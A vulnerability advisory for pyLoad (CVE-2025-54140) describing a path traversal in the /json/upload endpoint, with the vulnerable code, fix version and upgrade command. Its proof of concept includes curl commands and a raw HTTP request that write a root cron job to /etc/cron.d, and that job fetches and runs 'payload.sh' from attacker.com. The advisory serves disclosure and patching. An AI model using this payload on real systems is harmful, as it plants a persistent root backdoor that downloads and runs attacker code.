pyload-ng
Affected
- introduced
0.5.0b3.dev89, fixed0.5.0b3.dev90(ecosystem)
Fixed versions
0.5.0b3.dev90
Fix
- Fixed version
0.5.0b3.dev90pip install --upgrade pyload-ng==0.5.0b3.dev90
Advisory
Also known as: CVE-2025-54140, GHSA-xqpg-92fq-grfg
pyLoad has Path Traversal Vulnerability in json/upload Endpoint that allows Arbitrary File Write
Summary
An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:
---
Vulnerable Code
File: `src/pyload/webui/app/blueprints/json_blueprint.py`
@json_blueprint.route("/upload", methods=["POST"])
def upload():
dir_path = api.get_config_value("general", "storage_folder")
for file in request.files.getlist("file"):
file_path = os.path.join(dir_path, "tmp_" + file.filename)
file.save(file_path)
Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.
(Proof of Concept)
pip install pyload-ng):git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
-d "username=admin&password=admin"
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
-F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"
BurpSuite HTTP Request
POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e
--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream
*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--High Basis: CVSS v3 score 7.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
0.5.0b3.dev89, fixed 0.5.0b3.dev90 (ecosystem)0.5.0b3.dev90
0.5.0b3.dev90pip install --upgrade pyload-ng==0.5.0b3.dev90Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0